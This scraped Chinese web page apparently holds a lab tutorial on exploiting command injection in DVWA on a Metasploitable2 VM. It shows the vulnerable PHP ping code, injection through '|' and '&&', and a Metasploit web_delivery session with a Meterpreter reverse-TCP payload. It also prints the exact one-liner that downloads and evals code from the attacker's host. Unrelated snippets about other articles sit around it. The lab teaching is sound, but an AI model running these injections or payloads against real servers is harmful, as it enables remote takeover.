<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
Web應用程式的漏洞數量眾多,這裡我們以其中一個命令注入漏洞為例復現一下。這種漏洞源於Web應用程式沒有對使用者輸入的內容進行準確的驗證,從而導致作業系統執行了攻擊者輸入的命令。下面是一段執行在Metasploitable2靶機上的PHP指令碼,它來自於DVWA,程式碼如下:
<html> <body> <form name="ping" action="#" method="post"> <input type="text" name="ip" size="30"> <input type="submit" value="submit" name="submit"> </form> </body> </html>
首先是是一個帶有輸入框的頁面程式碼,在瀏覽器中這段程式碼會被執行成一個如下圖所示的頁面:
當用戶在 圖中所示的文字方塊中輸入一個IP地址,例如“127.0.0.1”,伺服器會將這個值傳遞給下面的PHP指令碼進行處理。
<?php if(isset($_POST['submit'])){ $target = $_REQUEST['ip']; $cmd = shell_exec('ping -c 3 '. $target); } ?>
該指令碼會將使用者輸入的值“127.0.0.1”儲存到變數$target中。這樣一來,將‘ping -c 3’與其連線起來,系統要執行的命令就變成了以下形式:
shell_exec('ping -c 3 127.0.0.1');
shell_exec()是PHP中執行系統命令的4個函數之一, 它通過shell環境執行命令,並且將完整的輸出以字串的方式返回。也就是說,PHP先執行一個shell環境,然後讓shell程序執行命令,並且把所有輸出以字串形式返回,如果程式執行錯誤或者沒有任何輸出,則返回null。
這命令執行以後,PHP會呼叫作業系統對127.0.0.1這個IP地址執行ping操作,這裡使用引數-c(指定ping操作的次數),是因為Linux在進行ping操作時不會自動停止,所以需要限制ping的次數。
正常情況,使用者可以使用網站這個功能。但是這段程式碼編寫並不安全,攻擊者可以藉此來執行除了ping之外的操作,而且很容易實現。攻擊者接著系統命令的特性,在輸入中國呢新增“|”或者“&&”管道符來執行其他命令。例如在Linux系統中,“|”是管道命令操作符。利用“|”將兩個命令隔開,管道符左邊命令的輸出就會作為管道符右邊命令的輸入。如下圖所示:
提交這個引數以後,系統會執行以下命令:
shell_exec('ping -c 3 127.0.0.1|id');
實際上,這裡一共執行了兩條命令,分別是“ping -c 127.0.0.1”和“id”,第一條命令的輸出會作為第二條命令的輸入,但是第一條命令的結果不會顯示,只有第二條命令的結果才會顯示出來。這就是命令注入漏洞,當攻擊者發現目標網站存在命令注入攻擊漏洞以後,可以很輕易地實現對其進行滲透。
攻擊機:Linux kali 5.10.0 IP: 192.168.68.125
伺服器:Metasploitable2-Linux IP:192.168.68.205
接下來結合滲透工具Metasploit來完成一次攻擊的範例,滲透的目標是執行了DVWA的Metasploitable2伺服器。DVWA的“Command Execution”命令執行漏洞介面,如下圖所示:
Metasploit中包含一個十分方便的模組web_delivery,它包含了以下功能:
輸入如下命令:
┌──(kali?kali)-[~] └─$ msfconsole msf6 >
msf6 > use exploit/multi/script/web_delivery
這個模組中涉及的引數如下圖所示:
我們需要指定目標的型別,在本例中目標是一臺執行著PHP語言編寫的Web應用程式的Linux伺服器,所以可將型別指定為PHP。使用“show targets”命令可以看到web_delivery模組所支援的型別,如下圖所示:
輸入如下命令:
msf6 exploit(multi/script/web_delivery) > set target 1 msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > set lhost 192.168.68.125 msf6 exploit(multi/script/web_delivery) > set lport 8888
結果如下圖所示:
輸入run命令,模組web_delivery會啟動伺服器。如下圖所示:
圖中紅框中的命令非常重要,它就是我們要在目標系統上執行的命令。
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.68.125:8080/E7mvRltiKXUbdQ', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false])));
輸入一個由&&連線的IP地址和上面的命令,如下圖所示:
點選“submit”按鈕,目標系統就會下載並執行木馬檔案,之後會建立一個Meterpreter對談,如下圖所示:
對談已經建立,但是該模組不會自動進入Meterpreter對談,我們可以使用sessions命令檢視已經開啟的活動對談,輸入如下命令:
msf6 exploit(multi/script/web_delivery) > sessions
如下圖所示:
執行如下命令,進入對談中:
msf6 exploit(multi/script/web_delivery) > sessions -i 1
下圖演示了整個命令注入的完整過程:
到此這篇關於Kali滲透測試:使用Metasploit對Web應用的攻擊的文章就介紹到這了,更多相關Kali滲透測試內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45